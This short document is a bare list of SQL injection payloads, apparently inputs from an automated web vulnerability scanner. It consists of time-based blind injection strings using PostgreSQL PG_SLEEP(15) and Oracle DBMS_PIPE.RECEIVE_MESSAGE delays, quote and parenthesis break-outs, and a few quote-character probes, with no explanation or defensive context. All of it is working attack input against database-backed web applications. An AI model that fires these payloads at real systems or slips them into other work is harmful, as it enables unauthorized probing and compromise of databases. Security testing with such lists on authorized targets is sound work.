555-1)) OR 476=(SELECT 476 FROM PG_SLEEP(15))--

555rYTSON0A' OR 782=(SELECT 782 FROM PG_SLEEP(15))--

555l74fHEdL') OR 347=(SELECT 347 FROM PG_SLEEP(15))--

555KrLbhRL2')) OR 740=(SELECT 740 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555

555'"